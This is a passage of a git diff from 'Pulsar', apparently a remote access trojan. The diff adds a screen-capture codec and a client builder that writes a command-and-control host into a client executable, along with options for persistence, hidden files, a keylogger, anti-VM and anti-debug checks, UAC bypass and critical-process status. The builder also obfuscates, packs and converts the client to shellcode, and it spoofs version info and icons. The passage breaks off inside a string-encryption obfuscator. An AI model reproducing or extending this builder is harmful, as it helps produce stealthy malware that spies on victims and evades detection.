_jpgCompression.Dispose(); + } + _jpgCompression = new JpgCompression(_imageQuality); + } + } + } + + private int _imageQuality; + private byte[] _encodeBuffer; + private Bitmap _decodedBitmap; + private PixelFormat _encodedFormat; + private int _encodedWidth; + private int _encodedHeight; + private readonly object _imageProcessLock = new object(); + private JpgCompression _jpgCompression; + private bool _disposed; + + private readonly List _workingBlocks = new List(); + private readonly List _finalUpdates = new List(); + + private readonly byte[] _metadataBuffer = new byte[20]; // 5 * sizeof(int) + private readonly byte[] _lengthBuffer = new byte[4]; + + /// + /// Initialize a new instance of UnsafeStreamCodec class. + /// + /// The quality to use between 0-100. + /// The monitor used for the images. + /// The resolution of the monitor. + public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution) + { + if (imageQuality < 0 || imageQuality > 100) + throw new ArgumentOutOfRangeException("imageQuality", "Image quality must be between 0 and 100"); + + this.ImageQuality = imageQuality; + this.Monitor = monitor; + this.Resolution = resolution; + this.CheckBlock = new Size(50, 1); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (_disposed) return; + + if (disposing) + { + if (_decodedBitmap != null) + { + _decodedBitmap.Dispose(); + } + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + } + + _disposed = true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int GetPixelSize(PixelFormat format) + { + switch (format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + return 3; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + return 4; + default: + throw new NotSupportedException(string.Format("Pixel format {0} is not supported", format)); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static unsafe byte* GetScan0Pointer(IntPtr scan0) + { + if (IntPtr.Size == 8) + { + return (byte*)scan0.ToInt64(); + } + else + { + return (byte*)scan0.ToInt32(); + } + } + + public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream) + { + if (_disposed) throw new ObjectDisposedException("UnsafeStreamCodec"); + if (!outStream.CanWrite) throw new ArgumentException("Stream must be writable", "outStream"); + + lock (_imageProcessLock) + { + byte* pScan0 = GetScan0Pointer(scan0); + int pixelSize = GetPixelSize(format); + int stride = imageSize.Width * pixelSize; + int rawLength = stride * imageSize.Height; + + if (_encodeBuffer == null) + { + InitializeEncodeBuffer(scan0, imageSize, format, stride, rawLength, outStream); + return; + } + + ValidateImageFormat(format, imageSize); + + long startPosition = outStream.Position; + outStream.Write(new byte[4], 0, 4); + + ProcessImageBlocks(pScan0, scanArea, stride, pixelSize, outStream); + + long totalLength = outStream.Position - startPosition - 4; + outStream.Position = startPosition; + outStream.Write(BitConverter.GetBytes(totalLength), 0, 4); + outStream.Position = startPosition + 4 + totalLength; + } + } + + private unsafe void InitializeEncodeBuffer(IntPtr scan0, Size imageSize, PixelFormat format, + int stride, int rawLength, Stream outStream) + { + this._encodedFormat = format; + this._encodedWidth = imageSize.Width; + this._encodedHeight = imageSize.Height; + this._encodeBuffer = new byte[rawLength]; + + fixed (byte* ptr = _encodeBuffer) + { + using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) + { + byte[] compressed = _jpgCompression.Compress(tmpBmp); + + outStream.Write(BitConverter.GetBytes(compressed.Length), 0, 4); + outStream.Write(compressed, 0, compressed.Length); + NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength); + } + } + } + + private void ValidateImageFormat(PixelFormat format, Size imageSize) + { + if (this._encodedFormat != format) + throw new InvalidOperationException("PixelFormat differs from previous bitmap"); + + if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) + throw new InvalidOperationException("Bitmap dimensions differ from previous bitmap"); + } + + private unsafe void ProcessImageBlocks(byte* pScan0, Rectangle scanArea, int stride, + int pixelSize, Stream outStream) + { + _workingBlocks.Clear(); + _finalUpdates.Clear(); + + fixed (byte* encBuffer = _encodeBuffer) + { + DetectChangedRows(encBuffer, pScan0, scanArea, stride, pixelSize); + + DetectChangedColumns(encBuffer, pScan0, scanArea, stride, pixelSize); + + WriteCompressedBlocks(pScan0, stride, pixelSize, outStream); + } + } + + private unsafe void DetectChangedRows(byte* encBuffer, byte* pScan0, Rectangle scanArea, + int stride, int pixelSize) + { + Size blockSize = new Size(scanArea.Width, CheckBlock.Height); + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + int lastY = scanArea.Height - lastSize.Height; + + for (int y = scanArea.Y; y < scanArea.Height; y += blockSize.Height) + { + if (y == lastY) + blockSize = new Size(scanArea.Width, lastSize.Height); + + Rectangle currentBlock = new Rectangle(scanArea.X, y, scanArea.Width, blockSize.Height); + int offset = (y * stride) + (scanArea.X * pixelSize); + + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) + { + if (_workingBlocks.Count > 0) + { + int lastIndex = _workingBlocks.Count - 1; + Rectangle lastBlock = _workingBlocks[lastIndex]; + + if (lastBlock.Y + lastBlock.Height == currentBlock.Y) + { + _workingBlocks[lastIndex] = new Rectangle(lastBlock.X, lastBlock.Y, + lastBlock.Width, lastBlock.Height + currentBlock.Height); + continue; + } + } + + _workingBlocks.Add(currentBlock); + } + } + } + + private unsafe void DetectChangedColumns(byte* encBuffer, byte* pScan0, Rectangle scanArea, + int stride, int pixelSize) + { + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + int lastX = scanArea.Width - lastSize.Width; + + for (int i = 0; i < _workingBlocks.Count; i++) + { + Rectangle block = _workingBlocks[i]; + Size columnSize = new Size(CheckBlock.Width, block.Height); + + for (int x = scanArea.X; x < scanArea.Width; x += columnSize.Width) + { + if (x == lastX) + columnSize = new Size(lastSize.Width, block.Height); + + Rectangle currentBlock = new Rectangle(x, block.Y, columnSize.Width, block.Height); + + if (HasBlockChanged(encBuffer, pScan0, currentBlock, stride, pixelSize)) + { + UpdateEncodeBuffer(encBuffer, pScan0, currentBlock, stride, pixelSize); + MergeOrAddBlock(currentBlock); + } + } + } + } + + private unsafe bool HasBlockChanged(byte* encBuffer, byte* pScan0, Rectangle block, + int stride, int pixelSize) + { + uint blockStride = (uint)(pixelSize * block.Width); + + for (int j = 0; j < block.Height; j++) + { + int blockOffset = (stride * (block.Y + j)) + (pixelSize * block.X); + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) + return true; + } + + return false; + } + + private unsafe void UpdateEncodeBuffer(byte* encBuffer, byte* pScan0, Rectangle block, + int stride, int pixelSize) + { + uint blockStride = (uint)(pixelSize * block.Width); + + for (int j = 0; j < block.Height; j++) + { + int blockOffset = (stride * (block.Y + j)) + (pixelSize * block.X); + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); + } + } + + private void MergeOrAddBlock(Rectangle currentBlock) + { + if (_finalUpdates.Count > 0) + { + int lastIndex = _finalUpdates.Count - 1; + Rectangle lastBlock = _finalUpdates[lastIndex]; + + if (lastBlock.X + lastBlock.Width == currentBlock.X && lastBlock.Y == currentBlock.Y) + { + _finalUpdates[lastIndex] = new Rectangle(lastBlock.X, lastBlock.Y, + lastBlock.Width + currentBlock.Width, lastBlock.Height); + return; + } + } + + _finalUpdates.Add(currentBlock); + } + + private unsafe void WriteCompressedBlocks(byte* pScan0, int stride, int pixelSize, Stream outStream) + { + for (int i = 0; i < _finalUpdates.Count; i++) + { + WriteCompressedBlock(pScan0, _finalUpdates[i], stride, pixelSize, outStream); + } + } + + private unsafe void WriteCompressedBlock(byte* pScan0, Rectangle rect, int stride, + int pixelSize, Stream outStream) + { + int blockStride = pixelSize * rect.Width; + + Array.Copy(BitConverter.GetBytes(rect.X), 0, _metadataBuffer, 0, 4); + Array.Copy(BitConverter.GetBytes(rect.Y), 0, _metadataBuffer, 4, 4); + Array.Copy(BitConverter.GetBytes(rect.Width), 0, _metadataBuffer, 8, 4); + Array.Copy(BitConverter.GetBytes(rect.Height), 0, _metadataBuffer, 12, 4); + + outStream.Write(_metadataBuffer, 0, 20); + + long lengthPosition = outStream.Position - 4; + long dataStart = outStream.Position; + + Bitmap tmpBmp = null; + BitmapData tmpData = null; + + try + { + tmpBmp = new Bitmap(rect.Width, rect.Height, this._encodedFormat); + tmpData = tmpBmp.LockBits(new Rectangle(0, 0, rect.Width, rect.Height), + ImageLockMode.ReadWrite, tmpBmp.PixelFormat); + + CopyBlockData(pScan0, (byte*)tmpData.Scan0.ToPointer(), rect, stride, blockStride); + _jpgCompression.Compress(tmpBmp, outStream); + } + finally + { + if (tmpData != null) + tmpBmp.UnlockBits(tmpData); + if (tmpBmp != null) + tmpBmp.Dispose(); + } + + long dataLength = outStream.Position - dataStart; + long currentPosition = outStream.Position; + outStream.Position = lengthPosition; + outStream.Write(BitConverter.GetBytes(dataLength), 0, 4); + outStream.Position = currentPosition; + } + + private unsafe void CopyBlockData(byte* source, byte* destination, Rectangle rect, + int stride, int blockStride) + { + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (stride * (rect.Y + j)) + (rect.X * GetPixelSize(this._encodedFormat)); + NativeMethods.memcpy(destination + offset, source + blockOffset, (uint)blockStride); + offset += blockStride; + } + } + + public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) + { + if (_disposed) throw new ObjectDisposedException("UnsafeStreamCodec"); + if (length < 4) return _decodedBitmap; + + int dataSize = *(int*)codecBuffer; + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), + new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize); + } + + using (MemoryStream stream = new MemoryStream(temp, 0, dataSize)) + { + this._decodedBitmap = (Bitmap)Bitmap.FromStream(stream); + } + } + + return _decodedBitmap; + } + + public Bitmap DecodeData(Stream inStream) + { + if (_disposed) throw new ObjectDisposedException("UnsafeStreamCodec"); + + inStream.Read(_lengthBuffer, 0, 4); + int dataSize = BitConverter.ToInt32(_lengthBuffer, 0); + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + inStream.Read(temp, 0, dataSize); + + using (MemoryStream stream = new MemoryStream(temp, 0, dataSize)) + { + this._decodedBitmap = (Bitmap)Bitmap.FromStream(stream); + } + + return _decodedBitmap; + } + + using (Graphics graphics = Graphics.FromImage(_decodedBitmap)) + { + DecodeBlocks(inStream, graphics, dataSize); + } + + return _decodedBitmap; + } + + private void DecodeBlocks(Stream inStream, Graphics graphics, int remainingData) + { + while (remainingData > 0) + { + inStream.Read(_metadataBuffer, 0, 20); + + Rectangle rect = new Rectangle( + BitConverter.ToInt32(_metadataBuffer, 0), + BitConverter.ToInt32(_metadataBuffer, 4), + BitConverter.ToInt32(_metadataBuffer, 8), + BitConverter.ToInt32(_metadataBuffer, 12)); + + int updateLength = BitConverter.ToInt32(_metadataBuffer, 16); + + byte[] buffer = new byte[updateLength]; + inStream.Read(buffer, 0, updateLength); + + using (MemoryStream stream = new MemoryStream(buffer, 0, updateLength)) + using (Bitmap bitmap = (Bitmap)Image.FromStream(stream)) + { + graphics.DrawImage(bitmap, rect.Location); + } + + remainingData -= updateLength + 20; // 20 bytes metadata + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Video/Compression/JpgCompression.cs b/Pulsar.Common/Video/Compression/JpgCompression.cs new file mode 100644 index 0000000..7edec5d --- /dev/null +++ b/Pulsar.Common/Video/Compression/JpgCompression.cs @@ -0,0 +1,59 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Pulsar.Common.Video.Compression +{ + public class JpgCompression : IDisposable + { + private static readonly ImageCodecInfo JpegEncoderInfo = GetEncoderInfoStatic(); + private readonly EncoderParameters _encoderParams; + + public JpgCompression(long quality) + { + EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); + _encoderParams = new EncoderParameters(1); + _encoderParams.Param[0] = parameter; + } + + public void Dispose() + { + if (_encoderParams != null) + { + _encoderParams.Dispose(); + } + GC.SuppressFinalize(this); + } + + public byte[] Compress(Bitmap bmp) + { + if (bmp == null) throw new ArgumentNullException(nameof(bmp)); + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, JpegEncoderInfo, _encoderParams); + return stream.ToArray(); + } + } + + public void Compress(Bitmap bmp, Stream targetStream) + { + if (bmp == null) throw new ArgumentNullException(nameof(bmp)); + if (targetStream == null) throw new ArgumentNullException(nameof(targetStream)); + bmp.Save(targetStream, JpegEncoderInfo, _encoderParams); + } + + private static ImageCodecInfo GetEncoderInfoStatic() + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int i = 0; i < imageEncoders.Length; i++) + { + if (imageEncoders[i].MimeType == "image/jpeg") + { + return imageEncoders[i]; + } + } + throw new InvalidOperationException("JPEG encoder not found"); + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Video/Resolution.cs b/Pulsar.Common/Video/Resolution.cs new file mode 100644 index 0000000..2ec690b --- /dev/null +++ b/Pulsar.Common/Video/Resolution.cs @@ -0,0 +1,50 @@ +using MessagePack; +using System; + +namespace Pulsar.Common.Video +{ + [MessagePackObject] + public class Resolution : IEquatable + { + [Key(1)] + public int Width { get; set; } + + [Key(2)] + public int Height { get; set; } + + public bool Equals(Resolution other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Width == other.Width && Height == other.Height; + } + + public static bool operator ==(Resolution r1, Resolution r2) + { + if (ReferenceEquals(r1, null)) + return ReferenceEquals(r2, null); + + return r1.Equals(r2); + } + + public static bool operator !=(Resolution r1, Resolution r2) + { + return !(r1 == r2); + } + + public override bool Equals(object obj) + { + return Equals(obj as Resolution); + } + + public override int GetHashCode() + { + return Width ^ Height; + } + + public override string ToString() + { + return $"{Width}x{Height}"; + } + } +} diff --git a/Pulsar.Server/.DS_Store b/Pulsar.Server/.DS_Store new file mode 100644 index 0000000..4fab53a Binary files /dev/null and b/Pulsar.Server/.DS_Store differ diff --git a/Pulsar.Server/Build/.DS_Store b/Pulsar.Server/Build/.DS_Store new file mode 100644 index 0000000..d5e357d Binary files /dev/null and b/Pulsar.Server/Build/.DS_Store differ diff --git a/Pulsar.Server/Build/ClientBuilder.cs b/Pulsar.Server/Build/ClientBuilder.cs new file mode 100644 index 0000000..2115fc1 --- /dev/null +++ b/Pulsar.Server/Build/ClientBuilder.cs @@ -0,0 +1,323 @@ +using Mono.Cecil; +using Mono.Cecil.Cil; +using Pulsar.Common.Cryptography; +using Pulsar.Server.Models; +using Pulsar.Server.Helper; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using Vestris.ResourceLib; +using System.Diagnostics; +using System.IO; +using System.Windows; + +namespace Pulsar.Server.Build +{ + /// + /// Provides methods used to create a custom client executable. + /// + public class ClientBuilder + { + private readonly BuildOptions _options; + private readonly string _clientFilePath; + + public ClientBuilder(BuildOptions options, string clientFilePath) + { + _options = options; + _clientFilePath = clientFilePath; + } + + /// + /// Builds a client executable. + /// + public bool Build(bool obfuscateBuild, bool packBuild) + { + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing settings + WriteSettings(asmDef); + + // PHASE 2 - Obfuscation + + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + MemoryStream stream = new MemoryStream(); + asmDef.Write(stream); + stream.Position = 0; + asmDef.Dispose(); + + byte[] buffer = stream.ToArray(); + + if (obfuscateBuild) + { + Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(buffer); + obf.Obfuscate(); + buffer = obf.Save(); + } + if (packBuild) + { + TinyLoader.TinyLoader tinyLoader = new TinyLoader.TinyLoader(buffer); + tinyLoader.Pack(); + buffer = tinyLoader.Save(); + } + + + //check if _options.OutputPath is in the same directory as our server executable + string outputDirectory = Path.GetDirectoryName(Path.GetFullPath(_options.OutputPath)); + string serverDirectory = Path.GetDirectoryName(Path.GetFullPath(System.Reflection.Assembly.GetExecutingAssembly().Location)); + if (outputDirectory.Equals(serverDirectory, StringComparison.OrdinalIgnoreCase)) + { + MessageBox.Show("The output path cannot be in the same directory as the server executable. Please choose a different output path.", "Error", MessageBoxButton.OK, MessageBoxImage.Error); + return true; + } + + File.WriteAllBytes(_options.OutputPath, buffer); + + } + + // PHASE 4 - Assembly Information changing + if (_options.AssemblyInformation != null) + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(_options.OutputPath); + + versionResource.FileVersion = _options.AssemblyInformation[7]; + versionResource.ProductVersion = _options.AssemblyInformation[6]; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"]; + stringFileInfo["CompanyName"] = _options.AssemblyInformation[2]; + stringFileInfo["FileDescription"] = _options.AssemblyInformation[1]; + stringFileInfo["ProductName"] = _options.AssemblyInformation[0]; + stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3]; + stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4]; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = _options.AssemblyInformation[5]; + stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5]; + + versionResource.SaveTo(_options.OutputPath); + } + + // PHASE 5 - Icon changing + if (!string.IsNullOrEmpty(_options.IconPath)) + { + IconFile iconFile = new IconFile(_options.IconPath); + IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); + iconDirectoryResource.SaveTo(_options.OutputPath); + } + + return false; + } + + public void BuildShellcode(bool obfuscateBuild, bool packBuild) + { + if (!File.Exists(Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe"))) + throw new Exception("Donut not found! Shellcode conversion not possible. Try building with donut"); + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing Settings (WARNING: WE NEED TO REMOVE STARTUP AND OTHER DROPPER SETTINGS) + WriteSettings(asmDef); + + // PHASE 2 - Obfuscation + + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + MemoryStream stream = new MemoryStream(); + asmDef.Write(stream); + stream.Position = 0; + asmDef.Dispose(); + + byte[] buffer = stream.ToArray(); + + if (obfuscateBuild) + { + Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(buffer); + obf.Obfuscate(); + buffer = obf.Save(); + } + if (packBuild) + { + TinyLoader.TinyLoader tinyLoader = new TinyLoader.TinyLoader(buffer); + tinyLoader.Pack(); + buffer = tinyLoader.Save(); + } + File.WriteAllBytes(_options.OutputPath + ".exe", buffer); + } + // PHASE 3 - Shellcode + ShellcodeBuilder.GenerateShellcode( + _options.OutputPath + ".exe", + "Pulsar.Client.Program", + "Main", + _options.OutputPath, + false + ); + File.Delete(_options.OutputPath + ".exe"); + } + + private void WriteSettings(AssemblyDefinition asmDef) + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + + var key = serverCertificate.Thumbprint; + var aes = new Aes256(key); + + byte[] signature; + // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 + using (var csp = caCertificate.GetRSAPrivateKey()) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + } + + foreach (var typeDef in asmDef.Modules[0].Types) + { + if (typeDef.FullName == "Pulsar.Client.Config.Settings") + { + foreach (var methodDef in typeDef.Methods) + { + if (methodDef.Name == ".cctor") + { + int strings = 1, bools = 1; + + for (int i = 0; i < methodDef.Body.Instructions.Count; i++) + { + if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string + { + switch (strings) + { + case 1: //version + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); + break; + case 2: //ip/hostname + Debug.WriteLine(_options.RawHosts); + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); + break; + case 3: //installsub + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); + break; + case 4: //installname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); + break; + case 5: //mutex + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); + break; + case 6: //startupkey + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); + break; + case 7: //encryption key + methodDef.Body.Instructions[i].Operand = key; + break; + case 8: //tag + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); + break; + case 9: //LogDirectoryName + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); + break; + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + break; + case 11: //ServerCertificate + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); + break; + } + strings++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || + methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool + { + switch (bools) + { + case 1: //install + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); + break; + case 2: //startup + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); + break; + case 3: //hidefile + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); + break; + case 4: //Keylogger + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); + break; + case 5: //HideLogDirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); + break; + case 6: // HideInstallSubdirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); + break; + case 7: // AntiVM + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.AntiVM)); + break; + case 8: // AntiDebug + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.AntiDebug)); + break; + case 9: // Pastebin + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Pastebin)); + break; + case 10: // UACBypass + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UACBypass)); + break; + case 11: // CRITICALPROCESS + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.CRITICALPROCESS)); + break; + } + bools++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int + { + //reconnectdelay + methodDef.Body.Instructions[i].Operand = _options.Delay; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte + { + methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); + } + } + } + } + } + } + } + + /// + /// Obtains the OpCode that corresponds to the bool value provided. + /// + /// The value to convert to the OpCode + /// Returns the OpCode that represents the value provided. + private OpCode BoolOpCode(bool p) + { + return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; + } + + /// + /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. + /// + /// The integer value of the install path. + /// Returns the signed-byte value of the special folder. + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) + { + switch (installPath) + { + case 1: + return (sbyte)Environment.SpecialFolder.ApplicationData; + case 2: + return (sbyte)Environment.SpecialFolder.ProgramFiles; + case 3: + return (sbyte)Environment.SpecialFolder.System; + default: + throw new ArgumentException("InstallPath"); + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/.DS_Store b/Pulsar.Server/Build/Obfuscator/.DS_Store new file mode 100644 index 0000000..77973fe Binary files /dev/null and b/Pulsar.Server/Build/Obfuscator/.DS_Store differ diff --git a/Pulsar.Server/Build/Obfuscator/Obfuscator.cs b/Pulsar.Server/Build/Obfuscator/Obfuscator.cs new file mode 100644 index 0000000..4184703 --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Obfuscator.cs @@ -0,0 +1,70 @@ +using dnlib.DotNet; +using Pulsar.Server.Build.Obfuscator.Transformers; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Server.Build.Obfuscator +{ + public class Obfuscator + { + private ModuleContext moduleContext; + private ModuleDefMD module; + + public Obfuscator(string path) + { + moduleContext = ModuleDef.CreateModuleContext(); + module = ModuleDefMD.Load(path, moduleContext); + } + + public Obfuscator(byte[] data) + { + moduleContext = ModuleDef.CreateModuleContext(); + module = ModuleDefMD.Load(data, moduleContext); + } + + public void Save(string path) + { + module.Write(path); + } + + public byte[] Save() + { + MemoryStream stream = new MemoryStream(); + module.Write(stream); + + long size = stream.Position; + stream.Position = 0; + byte[] data = new byte[size]; + stream.Read(data, 0, (int)size); + + + return data; + } + + public ModuleDefMD Module + { + get { return module; } + } + + public void Obfuscate() + { + Debug.WriteLine("Obfuscating...."); + List transformers = new List() + { + new RenamerTransformer(), + new StringEncryptionTransformer() + }; + + foreach (ITransformer transformer in transformers) + { + transformer.Transform(this); + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Transformers/ITransformer.cs b/Pulsar.Server/Build/Obfuscator/Transformers/ITransformer.cs new file mode 100644 index 0000000..9988692 --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Transformers/ITransformer.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Server.Build.Obfuscator.Transformers +{ + public class ITransformer + { + + protected static readonly Random random = new Random(); + + public virtual void Transform(Obfuscator obf) { } + + protected string RandomString(int length) + { + const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + return new string(Enumerable.Repeat(chars, length) + .Select(s => s[random.Next(s.Length)]).ToArray()); + } + + protected string RandomUTFString(int length) + { + // make weird utf strings like \u0x200 etc + return new string(Enumerable.Repeat(1, length) + .Select(s => (char)random.Next(0, 0xFFFF)).ToArray()); + } + + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Transformers/RenamerTransformer.cs b/Pulsar.Server/Build/Obfuscator/Transformers/RenamerTransformer.cs new file mode 100644 index 0000000..92194e1 --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Transformers/RenamerTransformer.cs @@ -0,0 +1,72 @@ +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Server.Build.Obfuscator.Transformers +{ + public class RenamerTransformer : ITransformer + { + + public override void Transform(Obfuscator obf) + { + //TODO: rewrite this and use this transformer instead of the Build/Renamer one + + //ModuleDefMD module = obf.Module; + + + //module.Name = RandomString(10); + //module.Assembly.Name = RandomString(10); + //module.Assembly.Culture = RandomString(10); + //module.Assembly.Version = new Version(random.Next(0, 10), random.Next(0, 10), random.Next(0, 10), random.Next(0, 10)); + + //foreach (TypeDef type in module.GetTypes()) + //{ + // if (type.IsRuntimeSpecialName) continue; + // if (type.IsSpecialName) continue; + // if (type.IsGlobalModuleType) continue; + // if (type.IsWindowsRuntime) continue; + // if (type.IsInterface) continue; + + // type.Namespace = ""; + // type.Name = RandomUTFString(10); + + // foreach (PropertyDef property in type.Properties) + // { + // property.Name = RandomUTFString(10); + // } + + // foreach (FieldDef field in type.Fields) + // { + // field.Name = RandomUTFString(10); + // } + + // foreach (EventDef eventDef in type.Events) { + // eventDef.Name = RandomUTFString(10); + // } + + // foreach (MethodDef method in type.Methods) + // { + + // if(!method.HasBody) continue; + + // foreach (ParamDef param in method.ParamDefs) + // { + // param.Name = RandomUTFString(10); + // } + + // foreach (Local local in method.Body.Variables) + // { + // local.Name = RandomUTFString(10); + // } + + // } + + //} + } + } + +} diff --git a/Pulsar.Server/Build/Obfuscator/Transformers/StringEncryptionTransformer.cs b/Pulsar.Server/Build/Obfuscator/Transformers/StringEncryptionTransformer.cs new file mode 100644 index 0000000..b6d2ec5 --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Transformers/StringEncryptionTransformer.cs @@ -0,0 +1,87 @@ +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using Pulsar.Server.Build.Obfuscator.Utils; +using Pulsar.Server.Build.Obfuscator.Utils.Injection; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Server.Build.Obfuscator.Transformers +{ + public class StringEncryptionTransformer : ITransformer + { + + + public MethodDef InjectDecryptionMethod(ModuleDefMD module) + { + // create our type holding our string decryption method + TypeDef stringType = new TypeDefUser("", RandomUTFString(10), module.CorLibTypes.Object.TypeDefOrRef); + module.Types.Add(stringType); + + // inject the methods we want to it + + ModuleDefMD typeModule = ModuleDefMD.Load(typeof(StringEncryption).Module); + TypeDef typeDef = typeModule.ResolveTypeDef(MDToken.ToRID(typeof(StringEncryption).MetadataToken)); + IEnumerable members = InjectHelper.Inject(typeDef, stringType, module); + MethodDef decryptMethod = (MethodDef)members.Single(method => method.Name == "Decrypt"); + decryptMethod.Name = RandomUTFString(10); + + + // remove the Encrypt method + 